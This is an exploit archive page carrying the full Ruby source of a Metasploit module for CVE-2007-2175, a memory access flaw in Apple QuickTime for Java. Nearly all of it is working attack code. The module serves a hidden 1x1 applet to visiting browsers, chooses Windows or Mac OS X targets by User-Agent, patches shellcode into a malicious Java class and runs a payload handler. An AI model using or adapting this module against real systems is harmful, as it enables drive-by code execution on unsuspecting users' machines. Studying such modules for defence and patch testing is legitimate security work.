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Apple QTJava toQTPointer() Arbitrary Memory Access

Apple QTJava toQTPointer() Arbitrary Memory Access
Posted Oct 27, 2009
Authored by H D Moore, Kevin Finisterre, Dino A. Dai Zovi | Site metasploit.com

This Metasploit module exploits an arbitrary memory access vulnerability in the Quicktime for Java API provided with Quicktime 7.

tags | exploit, java, arbitrary
advisories | CVE-2007-2175
SHA-256 | 42ae033dbe425fc32ab38f3fc3b946e80a302b5e5f4cecc84aa56930c3a7467d

Apple QTJava toQTPointer() Arbitrary Memory Access

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
'Description' => %q{
This module exploits an arbitrary memory access vulnerability in the
Quicktime for Java API provided with Quicktime 7.

},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm', # Original exploit for Mac OS X PPC / Win32
'kf', # Added support for Mac OS X X86
'ddz' # Discovered bug, provided tips
],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2007-2175'],
['OSVDB', '34178'],
['BID', '23608'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => ''
},
'Targets' =>
[
#
# Problem with generic payloads + regenerate_payload still :(
#
# [ 'Quicktime 7 Automatic',
# {
# 'Platform' => ['win', 'osx'],
# 'Arch' => [ARCH_X86, ARCH_PPC]
# }
# ],
[ 'Quicktime 7 on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Quicktime 7 on Mac OS X PPC',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Quicktime 7 on Mac OS X x86',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
],
# 'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 23 2007'
))
end


def exploit
# load the class data
path = File.join(Msf::Config.install_root, "data", "exploits", "QTJavaExploit.class")
fd = File.open(path, "rb")
@class_data = fd.read(fd.stat.size)
fd.close

super
end


def on_request_uri(cli, req)

# Create a cached mapping between IP and detected target
@targetcache ||= {}
@targetcache[cli.peerhost] ||= {}
@targetcache[cli.peerhost][:update] = Time.now.to_i

if (target.name =~ /Automatic/)
case req.headers['User-Agent']
when /Windows/i
print_status("Choosing a Windows target")
@targetcache[cli.peerhost][:target] = self.targets[1]
when /PPC Mac OS X/i
print_status("Choosing a Mac OS X PPC target")
@targetcache[cli.peerhost][:target] = self.targets[2]
when /Intel Mac OS X/i
print_status("Choosing a Mac OS X x86 target")
@targetcache[cli.peerhost][:target] = self.targets[3]
end
end

# Clean the cache
rmq = []
@targetcache.each_key do |addr|
if (Time.now.to_i > @targetcache[addr][:update]+60)
rmq.push addr
end
end

rmq.each {|addr| @targetcache.delete(addr) }


# Request processing

if (not req.uri.match(/\.class$/i))

# Redirect to the base directory so the applet code loads...
if (not req.uri.match(/\/$/))
send_redirect(cli, get_resource() + '/', '')
return
end

# Display the applet loading HTML
print_status("Sending HTML")
send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
return
end

# Send the actual applet over
print_status("Sending applet")
send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })

# Handle the payload
handler(cli)
end

def generate_html()
return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
end

def generate_applet(cli, req)

this_target = nil
if (target.name =~ /Automatic/)
if (@targetcache[cli.peerhost][:target])
this_target = @targetcache[cli.peerhost][:target]
else
return ''
end
else
this_target = target
end

# make a copy..
data = @class_data.dup

# 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
idx_targ = data.index("\x03\x10\xcc\x54")

# 1024 bytes for shellcode
idx_code = data.index("\x03\x10\xf0\x54")

# Handle Mac OS X PPC
if (this_target.arch.include?(ARCH_PPC))
tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
data = patch_bytecode(idx_code, data, tp.encoded)
data = patch_bytecode(idx_targ, data, "\x01")
end

# Handle Mac OS X x86 / Windows x86
if (this_target.arch.include?(ARCH_X86))

if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
data = patch_bytecode(idx_code, data, tp.encoded)
data = patch_bytecode(idx_targ, data, "\x03")
end

if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
data = patch_bytecode(idx_code, data, tp.encoded)
data = patch_bytecode(idx_targ, data, "\x02")
end
end

return data
end

def patch_bytecode(off, data, buff)

cnt = 0
off -= 1
while (cnt < buff.length)
cnt += 1
while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
off += 1
end
data[off]=buff[cnt-1]
off += 1
end

return data
end


end
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